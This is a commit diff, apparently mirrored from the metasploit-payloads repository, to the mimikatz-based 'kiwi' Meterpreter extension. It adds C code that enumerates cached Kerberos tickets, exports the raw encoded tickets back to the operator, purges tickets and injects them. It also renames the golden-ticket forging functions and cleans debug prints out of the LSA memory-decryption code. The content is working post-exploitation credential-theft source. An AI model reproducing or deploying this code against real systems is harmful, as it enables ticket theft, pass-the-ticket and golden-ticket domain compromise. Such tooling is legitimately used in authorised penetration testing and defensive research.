mirror of
https://github.com/rapid7/metasploit-payloads
synced 2025-03-12 12:14:29 +01:00
Add kerberos ticket dump support
Also fix up a few other niggles.
This commit is contained in:
parent
b59676d28e
commit
1791ab8a3a
@ -17,15 +17,19 @@ EnableDelayLoadMetSrv();
|
||||
#include "mimikatz_interface.h"
|
||||
|
||||
DWORD request_scrape_passwords(Remote *remote, Packet *packet);
|
||||
DWORD request_golden_ticket_create(Remote *remote, Packet *packet);
|
||||
DWORD request_golden_ticket_use(Remote *remote, Packet *packet);
|
||||
DWORD request_kerberos_golden_ticket_create(Remote *remote, Packet *packet);
|
||||
DWORD request_kerberos_ticket_use(Remote *remote, Packet *packet);
|
||||
DWORD request_kerberos_ticket_purge(Remote *remote, Packet *packet);
|
||||
DWORD request_kerberos_ticket_list(Remote *remote, Packet *packet);
|
||||
DWORD request_lsa_dump_secrets(Remote *remote, Packet *packet);
|
||||
|
||||
Command customCommands[] =
|
||||
{
|
||||
COMMAND_REQ("kiwi_scrape_passwords", request_scrape_passwords),
|
||||
COMMAND_REQ("kiwi_golden_ticket_use", request_golden_ticket_use),
|
||||
COMMAND_REQ("kiwi_golden_ticket_create", request_golden_ticket_create),
|
||||
COMMAND_REQ("kiwi_kerberos_ticket_use", request_kerberos_ticket_use),
|
||||
COMMAND_REQ("kiwi_kerberos_golden_ticket_create", request_kerberos_golden_ticket_create),
|
||||
COMMAND_REQ("kiwi_kerberos_ticket_purge", request_kerberos_ticket_purge),
|
||||
COMMAND_REQ("kiwi_kerberos_ticket_list", request_kerberos_ticket_list),
|
||||
COMMAND_REQ("kiwi_lsa_dump_secrets", request_lsa_dump_secrets),
|
||||
COMMAND_TERMINATOR
|
||||
};
|
||||
@ -43,18 +47,18 @@ DWORD request_lsa_dump_secrets(Remote *remote, Packet *packet)
|
||||
return ERROR_SUCCESS;
|
||||
}
|
||||
|
||||
DWORD request_golden_ticket_use(Remote *remote, Packet *packet)
|
||||
DWORD request_kerberos_ticket_use(Remote *remote, Packet *packet)
|
||||
{
|
||||
Packet * response = packet_create_response(packet);
|
||||
DWORD result = ERROR_INVALID_PARAMETER;
|
||||
Tlv ticketTlv;
|
||||
|
||||
result = packet_get_tlv(packet, TLV_TYPE_KIWI_GOLD_TICKET, &ticketTlv);
|
||||
result = packet_get_tlv(packet, TLV_TYPE_KIWI_KERB_TKT_RAW, &ticketTlv);
|
||||
|
||||
if (result == ERROR_SUCCESS)
|
||||
{
|
||||
dprintf("[KIWI] Ticket size: %u bytes", ticketTlv.header.length);
|
||||
result = mimikatz_golden_ticket_use(ticketTlv.buffer, ticketTlv.header.length);
|
||||
result = mimikatz_kerberos_ticket_use(ticketTlv.buffer, ticketTlv.header.length);
|
||||
}
|
||||
else
|
||||
{
|
||||
@ -66,7 +70,7 @@ DWORD request_golden_ticket_use(Remote *remote, Packet *packet)
|
||||
return result;
|
||||
}
|
||||
|
||||
DWORD request_golden_ticket_create(Remote *remote, Packet *packet)
|
||||
DWORD request_kerberos_golden_ticket_create(Remote *remote, Packet *packet)
|
||||
{
|
||||
DWORD result;
|
||||
Packet * response = packet_create_response(packet);
|
||||
@ -82,7 +86,7 @@ DWORD request_golden_ticket_create(Remote *remote, Packet *packet)
|
||||
}
|
||||
else
|
||||
{
|
||||
result = mimikatz_golden_ticket_create(user, domain, sid, tgt, response);
|
||||
result = mimikatz_kerberos_golden_ticket_create(user, domain, sid, tgt, response);
|
||||
}
|
||||
|
||||
packet_transmit_response(result, remote, response);
|
||||
@ -90,6 +94,30 @@ DWORD request_golden_ticket_create(Remote *remote, Packet *packet)
|
||||
return ERROR_SUCCESS;
|
||||
}
|
||||
|
||||
DWORD request_kerberos_ticket_list(Remote *remote, Packet *packet)
|
||||
{
|
||||
DWORD result;
|
||||
Packet * response = packet_create_response(packet);
|
||||
BOOL bExport = packet_get_tlv_value_bool(packet, TLV_TYPE_KIWI_KERB_EXPORT);
|
||||
|
||||
result = mimikatz_kerberos_ticket_list(bExport, response);
|
||||
|
||||
packet_transmit_response(result, remote, response);
|
||||
|
||||
return ERROR_SUCCESS;
|
||||
}
|
||||
|
||||
DWORD request_kerberos_ticket_purge(Remote *remote, Packet *packet)
|
||||
{
|
||||
DWORD result = mimikatz_kerberos_ticket_purge();
|
||||
|
||||
dprintf("[KIWI] Purging kerberos tickets (if present)");
|
||||
|
||||
packet_transmit_empty_response(remote, packet, result);
|
||||
|
||||
return ERROR_SUCCESS;
|
||||
}
|
||||
|
||||
DWORD request_scrape_passwords(Remote *remote, Packet *packet)
|
||||
{
|
||||
DWORD result;
|
||||
|
@ -29,7 +29,6 @@
|
||||
#define TLV_TYPE_KIWI_GOLD_DOMAIN MAKE_CUSTOM_TLV(TLV_META_TYPE_STRING, TLV_TYPE_EXTENSION_KIWI, TLV_EXTENSIONS + 11)
|
||||
#define TLV_TYPE_KIWI_GOLD_SID MAKE_CUSTOM_TLV(TLV_META_TYPE_STRING, TLV_TYPE_EXTENSION_KIWI, TLV_EXTENSIONS + 12)
|
||||
#define TLV_TYPE_KIWI_GOLD_TGT MAKE_CUSTOM_TLV(TLV_META_TYPE_STRING, TLV_TYPE_EXTENSION_KIWI, TLV_EXTENSIONS + 13)
|
||||
#define TLV_TYPE_KIWI_GOLD_TICKET MAKE_CUSTOM_TLV(TLV_META_TYPE_RAW, TLV_TYPE_EXTENSION_KIWI, TLV_EXTENSIONS + 14)
|
||||
|
||||
#define TLV_TYPE_KIWI_LSA_VER_MAJ MAKE_CUSTOM_TLV(TLV_META_TYPE_UINT, TLV_TYPE_EXTENSION_KIWI, TLV_EXTENSIONS + 15)
|
||||
#define TLV_TYPE_KIWI_LSA_VER_MIN MAKE_CUSTOM_TLV(TLV_META_TYPE_UINT, TLV_TYPE_EXTENSION_KIWI, TLV_EXTENSIONS + 16)
|
||||
@ -57,4 +56,17 @@
|
||||
#define TLV_TYPE_KIWI_LSA_SAM_LMHASH MAKE_CUSTOM_TLV(TLV_META_TYPE_RAW, TLV_TYPE_EXTENSION_KIWI, TLV_EXTENSIONS + 36)
|
||||
#define TLV_TYPE_KIWI_LSA_SAM_NTLMHASH MAKE_CUSTOM_TLV(TLV_META_TYPE_RAW, TLV_TYPE_EXTENSION_KIWI, TLV_EXTENSIONS + 37)
|
||||
|
||||
#define TLV_TYPE_KIWI_KERB_EXPORT MAKE_CUSTOM_TLV(TLV_META_TYPE_BOOL, TLV_TYPE_EXTENSION_KIWI, TLV_EXTENSIONS + 38)
|
||||
#define TLV_TYPE_KIWI_KERB_TKT MAKE_CUSTOM_TLV(TLV_META_TYPE_GROUP, TLV_TYPE_EXTENSION_KIWI, TLV_EXTENSIONS + 39)
|
||||
#define TLV_TYPE_KIWI_KERB_TKT_ENCTYPE MAKE_CUSTOM_TLV(TLV_META_TYPE_UINT, TLV_TYPE_EXTENSION_KIWI, TLV_EXTENSIONS + 40)
|
||||
#define TLV_TYPE_KIWI_KERB_TKT_START MAKE_CUSTOM_TLV(TLV_META_TYPE_STRING, TLV_TYPE_EXTENSION_KIWI, TLV_EXTENSIONS + 41)
|
||||
#define TLV_TYPE_KIWI_KERB_TKT_END MAKE_CUSTOM_TLV(TLV_META_TYPE_STRING, TLV_TYPE_EXTENSION_KIWI, TLV_EXTENSIONS + 42)
|
||||
#define TLV_TYPE_KIWI_KERB_TKT_MAXRENEW MAKE_CUSTOM_TLV(TLV_META_TYPE_STRING, TLV_TYPE_EXTENSION_KIWI, TLV_EXTENSIONS + 43)
|
||||
#define TLV_TYPE_KIWI_KERB_TKT_SERVERNAME MAKE_CUSTOM_TLV(TLV_META_TYPE_STRING, TLV_TYPE_EXTENSION_KIWI, TLV_EXTENSIONS + 44)
|
||||
#define TLV_TYPE_KIWI_KERB_TKT_SERVERREALM MAKE_CUSTOM_TLV(TLV_META_TYPE_STRING, TLV_TYPE_EXTENSION_KIWI, TLV_EXTENSIONS + 45)
|
||||
#define TLV_TYPE_KIWI_KERB_TKT_CLIENTNAME MAKE_CUSTOM_TLV(TLV_META_TYPE_STRING, TLV_TYPE_EXTENSION_KIWI, TLV_EXTENSIONS + 46)
|
||||
#define TLV_TYPE_KIWI_KERB_TKT_CLIENTREALM MAKE_CUSTOM_TLV(TLV_META_TYPE_STRING, TLV_TYPE_EXTENSION_KIWI, TLV_EXTENSIONS + 47)
|
||||
#define TLV_TYPE_KIWI_KERB_TKT_FLAGS MAKE_CUSTOM_TLV(TLV_META_TYPE_UINT, TLV_TYPE_EXTENSION_KIWI, TLV_EXTENSIONS + 48)
|
||||
#define TLV_TYPE_KIWI_KERB_TKT_RAW MAKE_CUSTOM_TLV(TLV_META_TYPE_RAW, TLV_TYPE_EXTENSION_KIWI, TLV_EXTENSIONS + 49)
|
||||
|
||||
#endif
|
@ -9,8 +9,10 @@
|
||||
#define SHA_DIGEST_LENGTH 20
|
||||
// copied from globals
|
||||
#define LM_NTLM_HASH_LENGTH 16
|
||||
#define TIME_SIZE 28
|
||||
|
||||
#include "modules\kuhl_m_lsadump_struct.h"
|
||||
#include "modules\kerberos\khul_m_kerberos_struct.h"
|
||||
|
||||
typedef void (CALLBACK * PKUHL_M_SEKURLSA_EXTERNAL) (IN CONST PLUID luid, IN CONST PUNICODE_STRING username, IN CONST PUNICODE_STRING domain, IN CONST PUNICODE_STRING password, IN CONST PBYTE lm, IN CONST PBYTE ntlm, IN OUT LPVOID pvData);
|
||||
typedef LONG (* PKUHL_M_SEKURLSA_ENUMERATOR)(PKUHL_M_SEKURLSA_EXTERNAL callback, LPVOID state);
|
||||
@ -23,13 +25,10 @@ extern LONG kuhl_m_sekurlsa_tspkg_enum(PKUHL_M_SEKURLSA_EXTERNAL callback, LPVOI
|
||||
extern LONG kuhl_m_sekurlsa_livessp_enum(PKUHL_M_SEKURLSA_EXTERNAL callback, LPVOID state);
|
||||
extern LONG kuhl_m_sekurlsa_ssp_enum(PKUHL_M_SEKURLSA_EXTERNAL callback, LPVOID state);
|
||||
extern LONG kuhl_m_lsadump_full(PLSA_CALLBACK_CTX callbackCtx);
|
||||
|
||||
// TODO:
|
||||
//extern LONG kuhl_m_sekurlsa_tickets_enum(PKUHL_M_SEKURLSA_EXTERNAL callback, LPVOID state);
|
||||
//extern LONG kuhl_m_sekurlsa_dpapi_enum(PKUHL_M_SEKURLSA_EXTERNAL callback, LPVOID state);
|
||||
|
||||
extern LONG kuhl_m_kerberos_list_tickets(PKERB_CALLBACK_CTX callbackCtx, BOOL bExport);
|
||||
extern LONG kuhl_m_kerberos_use_ticket(PBYTE fileData, DWORD fileSize);
|
||||
extern LONG kuhl_m_kerberos_create_golden_ticket(PCWCHAR szUser, PCWCHAR szDomain, PCWCHAR szSid, PCWCHAR szNtlm, PBYTE* ticketBuffer, DWORD* ticketBufferSize);
|
||||
extern LONG kuhl_m_kerberos_purge_ticket();
|
||||
|
||||
BOOL is_unicode_string(DWORD dwBytes, LPVOID pSecret)
|
||||
{
|
||||
@ -175,7 +174,102 @@ wchar_t* ascii_to_wide_string(char* ascii)
|
||||
return buffer;
|
||||
}
|
||||
|
||||
DWORD mimikatz_golden_ticket_create(char* user, char* domain, char* sid, char* tgt, Packet* response)
|
||||
VOID to_system_time_string(LARGE_INTEGER time, char output[TIME_SIZE])
|
||||
{
|
||||
SYSTEMTIME st;
|
||||
PFILETIME pTime = (PFILETIME)&time;
|
||||
|
||||
ZeroMemory(output, TIME_SIZE);
|
||||
|
||||
FileTimeToSystemTime(pTime, &st);
|
||||
sprintf_s(output, TIME_SIZE, "%4u-%02u-%02u %02u:%02u:%02u.%03u",
|
||||
st.wYear, st.wMonth, st.wDay, st.wHour, st.wMinute, st.wSecond, st.wMilliseconds);
|
||||
}
|
||||
|
||||
VOID TicketHandler(LPVOID lpContext, PKERB_TICKET_CACHE_INFO_EX pKerbTicketInfo, PKERB_EXTERNAL_TICKET pExternalTicket)
|
||||
{
|
||||
Packet* packet = (Packet*)lpContext;
|
||||
|
||||
Tlv entries[10];
|
||||
DWORD dwCount = 0;
|
||||
UINT uEncType = htonl(pKerbTicketInfo->EncryptionType);
|
||||
UINT uFlags = htonl(pKerbTicketInfo->TicketFlags);
|
||||
char sStart[TIME_SIZE], sEnd[TIME_SIZE], sMaxRenew[TIME_SIZE];
|
||||
|
||||
dprintf("[KIWI KERB] Adding ticket to result");
|
||||
|
||||
dprintf("[KIWI KERB] Converting times");
|
||||
to_system_time_string(pKerbTicketInfo->StartTime, sStart);
|
||||
to_system_time_string(pKerbTicketInfo->EndTime, sEnd);
|
||||
to_system_time_string(pKerbTicketInfo->RenewTime, sMaxRenew);
|
||||
|
||||
dprintf("[KIWI KERB] Adding enc type");
|
||||
entries[dwCount].header.type = TLV_TYPE_KIWI_KERB_TKT_ENCTYPE;
|
||||
entries[dwCount].header.length = sizeof(UINT);
|
||||
entries[dwCount].buffer = (PUCHAR)&uEncType;
|
||||
++dwCount;
|
||||
|
||||
dprintf("[KIWI KERB] Adding flags");
|
||||
entries[dwCount].header.type = TLV_TYPE_KIWI_KERB_TKT_FLAGS;
|
||||
entries[dwCount].header.length = sizeof(UINT);
|
||||
entries[dwCount].buffer = (PUCHAR)&uFlags;
|
||||
++dwCount;
|
||||
|
||||
dprintf("[KIWI KERB] Adding start time");
|
||||
entries[dwCount].header.type = TLV_TYPE_KIWI_KERB_TKT_START;
|
||||
entries[dwCount].header.length = (DWORD)strlen(sStart);
|
||||
entries[dwCount].buffer = (PUCHAR)sStart;
|
||||
++dwCount;
|
||||
|
||||
dprintf("[KIWI KERB] Adding end time");
|
||||
entries[dwCount].header.type = TLV_TYPE_KIWI_KERB_TKT_END;
|
||||
entries[dwCount].header.length = (DWORD)strlen(sEnd);
|
||||
entries[dwCount].buffer = (PUCHAR)sEnd;
|
||||
++dwCount;
|
||||
|
||||
dprintf("[KIWI KERB] Adding max renew time");
|
||||
entries[dwCount].header.type = TLV_TYPE_KIWI_KERB_TKT_MAXRENEW;
|
||||
entries[dwCount].header.length = (DWORD)strlen(sMaxRenew);
|
||||
entries[dwCount].buffer = (PUCHAR)sMaxRenew;
|
||||
++dwCount;
|
||||
|
||||
dprintf("[KIWI KERB] Adding server name");
|
||||
packet_add_tlv_wstring_entry(&entries[dwCount++], TLV_TYPE_KIWI_KERB_TKT_SERVERNAME, pKerbTicketInfo->ServerName.Buffer, pKerbTicketInfo->ServerName.Length / sizeof(wchar_t));
|
||||
dprintf("[KIWI KERB] Adding server realm");
|
||||
packet_add_tlv_wstring_entry(&entries[dwCount++], TLV_TYPE_KIWI_KERB_TKT_SERVERREALM, pKerbTicketInfo->ServerRealm.Buffer, pKerbTicketInfo->ServerRealm.Length / sizeof(wchar_t));
|
||||
dprintf("[KIWI KERB] Adding client name");
|
||||
packet_add_tlv_wstring_entry(&entries[dwCount++], TLV_TYPE_KIWI_KERB_TKT_CLIENTNAME, pKerbTicketInfo->ClientName.Buffer, pKerbTicketInfo->ClientName.Length / sizeof(wchar_t));
|
||||
dprintf("[KIWI KERB] Adding client realm");
|
||||
packet_add_tlv_wstring_entry(&entries[dwCount++], TLV_TYPE_KIWI_KERB_TKT_CLIENTREALM, pKerbTicketInfo->ClientRealm.Buffer, pKerbTicketInfo->ClientRealm.Length / sizeof(wchar_t));
|
||||
|
||||
if (pExternalTicket)
|
||||
{
|
||||
dprintf("[KIWI KERB] Adding raw ticket");
|
||||
entries[dwCount].header.type = TLV_TYPE_KIWI_KERB_TKT_RAW;
|
||||
entries[dwCount].header.length = pExternalTicket->EncodedTicketSize;
|
||||
entries[dwCount].buffer = pExternalTicket->EncodedTicket;
|
||||
++dwCount;
|
||||
}
|
||||
|
||||
packet_add_tlv_group(packet, TLV_TYPE_KIWI_KERB_TKT, entries, dwCount);
|
||||
}
|
||||
|
||||
DWORD mimikatz_kerberos_ticket_list(BOOL bExport, Packet* response)
|
||||
{
|
||||
KERB_CALLBACK_CTX callbackCtx;
|
||||
|
||||
callbackCtx.lpContext = response;
|
||||
callbackCtx.pTicketHandler = TicketHandler;
|
||||
|
||||
return kuhl_m_kerberos_list_tickets(&callbackCtx, bExport);
|
||||
}
|
||||
|
||||
DWORD mimikatz_kerberos_ticket_purge()
|
||||
{
|
||||
return kuhl_m_kerberos_purge_ticket();
|
||||
}
|
||||
|
||||
DWORD mimikatz_kerberos_golden_ticket_create(char* user, char* domain, char* sid, char* tgt, Packet* response)
|
||||
{
|
||||
DWORD result = 0;
|
||||
BYTE* ticketBuffer;
|
||||
@ -199,7 +293,7 @@ DWORD mimikatz_golden_ticket_create(char* user, char* domain, char* sid, char* t
|
||||
break;
|
||||
}
|
||||
|
||||
packet_add_tlv_raw(response, TLV_TYPE_KIWI_GOLD_TICKET, ticketBuffer, ticketBufferSize);
|
||||
packet_add_tlv_raw(response, TLV_TYPE_KIWI_KERB_TKT_RAW, ticketBuffer, ticketBufferSize);
|
||||
} while (0);
|
||||
|
||||
if (wUser)
|
||||
@ -222,7 +316,7 @@ DWORD mimikatz_golden_ticket_create(char* user, char* domain, char* sid, char* t
|
||||
return result;
|
||||
}
|
||||
|
||||
DWORD mimikatz_golden_ticket_use(BYTE* buffer, DWORD bufferSize)
|
||||
DWORD mimikatz_kerberos_ticket_use(BYTE* buffer, DWORD bufferSize)
|
||||
{
|
||||
return kuhl_m_kerberos_use_ticket(buffer, bufferSize);
|
||||
}
|
||||
@ -361,7 +455,7 @@ VOID SamHashHandler(LPVOID lpContext, DWORD dwRid, wchar_t* lpwUser, DWORD dwUse
|
||||
Packet *response = (Packet*)lpContext;
|
||||
dprintf("[KIWI SAM] HERE!");
|
||||
|
||||
if (hasLmHash || hasNtlmHash)
|
||||
if ((hasLmHash || hasNtlmHash) && lpwUser)
|
||||
{
|
||||
dprintf("[KIWI SAM] Adding %S rid %u (%x)", lpwUser, dwRid, dwRid);
|
||||
|
||||
|
@ -5,8 +5,10 @@ typedef struct _Packet Packet;
|
||||
|
||||
DWORD mimikatz_initOrClean(BOOL Init);
|
||||
DWORD mimikatz_scrape_passwords(DWORD cmdId, Packet* packet);
|
||||
DWORD mimikatz_golden_ticket_create(char* user, char* domain, char* sid, char* ntlm, Packet* response);
|
||||
DWORD mimikatz_golden_ticket_use(BYTE* buffer, DWORD bufferSize);
|
||||
DWORD mimikatz_kerberos_golden_ticket_create(LPSTR user, LPSTR domain, LPSTR sid, LPSTR ntlm, Packet* response);
|
||||
DWORD mimikatz_kerberos_ticket_use(BYTE* buffer, DWORD bufferSize);
|
||||
DWORD mimikatz_kerberos_ticket_purge();
|
||||
DWORD mimikatz_kerberos_ticket_list(BOOL bExport, Packet* response);
|
||||
DWORD mimikatz_lsa_dump_secrets(Packet* response);
|
||||
|
||||
#endif
|
@ -122,7 +122,7 @@ NTSTATUS kuhl_m_kerberos_ptt(int argc, wchar_t * argv[])
|
||||
return STATUS_SUCCESS;
|
||||
}
|
||||
|
||||
NTSTATUS kuhl_m_kerberos_purge(int argc, wchar_t * argv[])
|
||||
NTSTATUS kuhl_m_kerberos_purge_ticket()
|
||||
{
|
||||
NTSTATUS status, packageStatus;
|
||||
KERB_PURGE_TKT_CACHE_REQUEST kerbPurgeRequest = {KerbPurgeTicketCacheMessage, {0, 0}, {0, 0, NULL}, {0, 0, NULL}};
|
||||
@ -133,7 +133,7 @@ NTSTATUS kuhl_m_kerberos_purge(int argc, wchar_t * argv[])
|
||||
if(NT_SUCCESS(status))
|
||||
{
|
||||
if(NT_SUCCESS(packageStatus))
|
||||
kprintf(L"Ticket(s) purge for current session is OK\n", argv[0]);
|
||||
kprintf(L"Ticket(s) purge for current session is OK\n");
|
||||
else PRINT_ERROR(L"LsaCallAuthenticationPackage KerbPurgeTicketCacheMessage / Package : %08x\n", packageStatus);
|
||||
}
|
||||
else PRINT_ERROR(L"LsaCallAuthenticationPackage KerbPurgeTicketCacheMessage : %08x\n", status);
|
||||
@ -141,6 +141,11 @@ NTSTATUS kuhl_m_kerberos_purge(int argc, wchar_t * argv[])
|
||||
return STATUS_SUCCESS;
|
||||
}
|
||||
|
||||
NTSTATUS kuhl_m_kerberos_purge(int argc, wchar_t * argv[])
|
||||
{
|
||||
return kuhl_m_kerberos_purge_ticket();
|
||||
}
|
||||
|
||||
NTSTATUS kuhl_m_kerberos_tgt(int argc, wchar_t * argv[])
|
||||
{
|
||||
NTSTATUS status, packageStatus;
|
||||
@ -183,6 +188,80 @@ NTSTATUS kuhl_m_kerberos_tgt(int argc, wchar_t * argv[])
|
||||
return STATUS_SUCCESS;
|
||||
}
|
||||
|
||||
NTSTATUS kuhl_m_kerberos_list_tickets(PKERB_CALLBACK_CTX callbackCtx, BOOL bExport)
|
||||
{
|
||||
NTSTATUS status, packageStatus;
|
||||
KERB_QUERY_TKT_CACHE_REQUEST kerbCacheRequest = {KerbQueryTicketCacheExMessage, {0, 0}};
|
||||
PKERB_QUERY_TKT_CACHE_EX_RESPONSE pKerbCacheResponse;
|
||||
PKERB_RETRIEVE_TKT_REQUEST pKerbRetrieveRequest = NULL;
|
||||
PKERB_RETRIEVE_TKT_RESPONSE pKerbRetrieveResponse = NULL;
|
||||
DWORD szData, i, j;
|
||||
|
||||
status = LsaCallKerberosPackage(&kerbCacheRequest, sizeof(KERB_QUERY_TKT_CACHE_REQUEST), (PVOID *) &pKerbCacheResponse, &szData, &packageStatus);
|
||||
if(NT_SUCCESS(status))
|
||||
{
|
||||
if(NT_SUCCESS(packageStatus))
|
||||
{
|
||||
for(i = 0; i < pKerbCacheResponse->CountOfTickets; i++)
|
||||
{
|
||||
kprintf(L"\n[%08x] - %02x", i, pKerbCacheResponse->Tickets[i].EncryptionType);
|
||||
kprintf(L"\n Start/End/MaxRenew: ");
|
||||
kull_m_string_displayLocalFileTime((PFILETIME) &pKerbCacheResponse->Tickets[i].StartTime); kprintf(L" ; ");
|
||||
kull_m_string_displayLocalFileTime((PFILETIME) &pKerbCacheResponse->Tickets[i].EndTime); kprintf(L" ; ");
|
||||
kull_m_string_displayLocalFileTime((PFILETIME) &pKerbCacheResponse->Tickets[i].RenewTime);
|
||||
kprintf(L"\n Server Name : %wZ @ %wZ", &pKerbCacheResponse->Tickets[i].ServerName, &pKerbCacheResponse->Tickets[i].ServerRealm);
|
||||
kprintf(L"\n Client Name : %wZ @ %wZ", &pKerbCacheResponse->Tickets[i].ClientName, &pKerbCacheResponse->Tickets[i].ClientRealm);
|
||||
kprintf(L"\n Flags %08x : ", pKerbCacheResponse->Tickets[i].TicketFlags);
|
||||
for (j = 0; j < 16; j++)
|
||||
{
|
||||
if ((pKerbCacheResponse->Tickets[i].TicketFlags >> (j + 16)) & 1)
|
||||
{
|
||||
kprintf(L"%s ; ", TicketFlagsToStrings[j]);
|
||||
}
|
||||
}
|
||||
|
||||
if (bExport)
|
||||
{
|
||||
szData = sizeof(KERB_RETRIEVE_TKT_REQUEST)+pKerbCacheResponse->Tickets[i].ServerName.MaximumLength;
|
||||
if (pKerbRetrieveRequest = (PKERB_RETRIEVE_TKT_REQUEST)LocalAlloc(LPTR, szData)) // LPTR implicates KERB_ETYPE_NULL
|
||||
{
|
||||
pKerbRetrieveRequest->MessageType = KerbRetrieveEncodedTicketMessage;
|
||||
pKerbRetrieveRequest->CacheOptions = /*KERB_RETRIEVE_TICKET_USE_CACHE_ONLY | */KERB_RETRIEVE_TICKET_AS_KERB_CRED;
|
||||
pKerbRetrieveRequest->TicketFlags = pKerbCacheResponse->Tickets[i].TicketFlags;
|
||||
pKerbRetrieveRequest->TargetName = pKerbCacheResponse->Tickets[i].ServerName;
|
||||
pKerbRetrieveRequest->TargetName.Buffer = (PWSTR)((PBYTE)pKerbRetrieveRequest + sizeof(KERB_RETRIEVE_TKT_REQUEST));
|
||||
RtlCopyMemory(pKerbRetrieveRequest->TargetName.Buffer, pKerbCacheResponse->Tickets[i].ServerName.Buffer, pKerbRetrieveRequest->TargetName.MaximumLength);
|
||||
|
||||
status = LsaCallKerberosPackage(pKerbRetrieveRequest, szData, (PVOID *)&pKerbRetrieveResponse, &szData, &packageStatus);
|
||||
}
|
||||
}
|
||||
|
||||
if (callbackCtx && callbackCtx->pTicketHandler)
|
||||
callbackCtx->pTicketHandler(callbackCtx->lpContext, &pKerbCacheResponse->Tickets[i], pKerbRetrieveResponse ? &pKerbRetrieveResponse->Ticket : NULL);
|
||||
|
||||
if (pKerbRetrieveRequest)
|
||||
{
|
||||
LocalFree(pKerbRetrieveRequest);
|
||||
pKerbRetrieveRequest = NULL;
|
||||
}
|
||||
|
||||
if (pKerbRetrieveResponse)
|
||||
{
|
||||
LsaFreeReturnBuffer(pKerbRetrieveResponse);
|
||||
pKerbRetrieveResponse = NULL;
|
||||
}
|
||||
|
||||
kprintf(L"\n");
|
||||
}
|
||||
LsaFreeReturnBuffer(pKerbCacheResponse);
|
||||
}
|
||||
else PRINT_ERROR(L"LsaCallAuthenticationPackage KerbQueryTicketCacheEx2Message / Package : %08x\n", packageStatus);
|
||||
}
|
||||
else PRINT_ERROR(L"LsaCallAuthenticationPackage KerbQueryTicketCacheEx2Message : %08x\n", status);
|
||||
|
||||
return STATUS_SUCCESS;
|
||||
}
|
||||
|
||||
NTSTATUS kuhl_m_kerberos_list(int argc, wchar_t * argv[])
|
||||
{
|
||||
NTSTATUS status, packageStatus;
|
||||
|
@ -7,14 +7,7 @@
|
||||
#include "../kuhl_m.h"
|
||||
#include "../modules/kull_m_file.h"
|
||||
#include "../modules/kull_m_crypto_system.h"
|
||||
|
||||
#define USER_NORMAL_ACCOUNT 0x00000010
|
||||
#define USER_DONT_EXPIRE_PASSWORD 0x00000200
|
||||
|
||||
#define KRB_KEY_USAGE_AS_REP_TGS_REP 2
|
||||
|
||||
#define DEFAULT_GROUP_ATTRIBUTES (SE_GROUP_MANDATORY | SE_GROUP_ENABLED_BY_DEFAULT | SE_GROUP_ENABLED)
|
||||
#define KIWI_NEVERTIME(filetime) (*(PLONGLONG) filetime = MAXLONGLONG)
|
||||
#include "khul_m_kerberos_struct.h"
|
||||
|
||||
const KUHL_M kuhl_m_kerberos;
|
||||
|
||||
|
@ -0,0 +1,15 @@
|
||||
#pragma once
|
||||
|
||||
#define USER_NORMAL_ACCOUNT 0x00000010
|
||||
#define USER_DONT_EXPIRE_PASSWORD 0x00000200
|
||||
|
||||
#define KRB_KEY_USAGE_AS_REP_TGS_REP 2
|
||||
|
||||
#define DEFAULT_GROUP_ATTRIBUTES (SE_GROUP_MANDATORY | SE_GROUP_ENABLED_BY_DEFAULT | SE_GROUP_ENABLED)
|
||||
#define KIWI_NEVERTIME(filetime) (*(PLONGLONG) filetime = MAXLONGLONG)
|
||||
|
||||
typedef struct _KERB_CALLBACK_CTX
|
||||
{
|
||||
VOID (*pTicketHandler)(LPVOID lpContext, PKERB_TICKET_CACHE_INFO_EX pKerbTicketInfo, PKERB_EXTERNAL_TICKET pExternalTicket);
|
||||
LPVOID lpContext;
|
||||
} KERB_CALLBACK_CTX, *PKERB_CALLBACK_CTX;
|
@ -35,8 +35,6 @@ NTSTATUS kuhl_m_sekurlsa_nt5_init()
|
||||
KULL_M_PROCESS_VERY_BASIC_MODULE_INFORMATION vbInfos;
|
||||
|
||||
|
||||
PRINT_ERROR(L"[MIMIKATZ] HERE!");
|
||||
|
||||
if(!NT_SUCCESS(kuhl_m_sekurlsa_nt5_KeyInit))
|
||||
{
|
||||
if(!kuhl_m_sekurlsa_nt5_hLsasrv)
|
||||
@ -44,44 +42,31 @@ NTSTATUS kuhl_m_sekurlsa_nt5_init()
|
||||
|
||||
if(kuhl_m_sekurlsa_nt5_hLsasrv)
|
||||
{
|
||||
PRINT_ERROR(L"[MIMIKATZ] HERE 2");
|
||||
if (kull_m_process_getVeryBasicModuleInformationsForName(&hMemory, L"lsasrv.dll", &vbInfos))
|
||||
{
|
||||
PRINT_ERROR(L"[MIMIKATZ] HERE 3");
|
||||
sMemory.kull_m_memoryRange.kull_m_memoryAdress = vbInfos.DllBase;
|
||||
sMemory.kull_m_memoryRange.size = vbInfos.SizeOfImage;
|
||||
|
||||
if (!kuhl_m_sekurlsa_nt5_pLsaUnprotectMemory)
|
||||
{
|
||||
PRINT_ERROR(L"[MIMIKATZ] HERE 4");
|
||||
if (
|
||||
(extractPkgFunctionTable.LsaICancelNotification = GetProcAddress(kuhl_m_sekurlsa_nt5_hLsasrv, "LsaICancelNotification")) &&
|
||||
(extractPkgFunctionTable.LsaIRegisterNotification = GetProcAddress(kuhl_m_sekurlsa_nt5_hLsasrv, "LsaIRegisterNotification"))
|
||||
)
|
||||
{
|
||||
PRINT_ERROR(L"[MIMIKATZ] HERE 5");
|
||||
if (kull_m_memory_search(&aMemory, sizeof(extractPkgFunctionTable), &sMemory, FALSE))
|
||||
{
|
||||
PRINT_ERROR(L"[MIMIKATZ] HERE 6");
|
||||
kuhl_m_sekurlsa_nt5_pLsaProtectMemory = ((PLSA_SECPKG_FUNCTION_TABLE)((PBYTE)sMemory.result - FIELD_OFFSET(LSA_SECPKG_FUNCTION_TABLE, RegisterNotification)))->LsaProtectMemory;
|
||||
kuhl_m_sekurlsa_nt5_pLsaUnprotectMemory = ((PLSA_SECPKG_FUNCTION_TABLE)((PBYTE)sMemory.result - FIELD_OFFSET(LSA_SECPKG_FUNCTION_TABLE, RegisterNotification)))->LsaUnprotectMemory;
|
||||
}
|
||||
else
|
||||
PRINT_ERROR(L"[MIMIKATZ] NOT HERE 6");
|
||||
}
|
||||
else
|
||||
PRINT_ERROR(L"[MIMIKATZ] NOT HERE 5");
|
||||
}
|
||||
else
|
||||
PRINT_ERROR(L"[MIMIKATZ] NOT HERE 4");
|
||||
|
||||
if (kuhl_m_sekurlsa_nt5_pLsaUnprotectMemory)
|
||||
{
|
||||
PRINT_ERROR(L"[MIMIKATZ] HERE 7");
|
||||
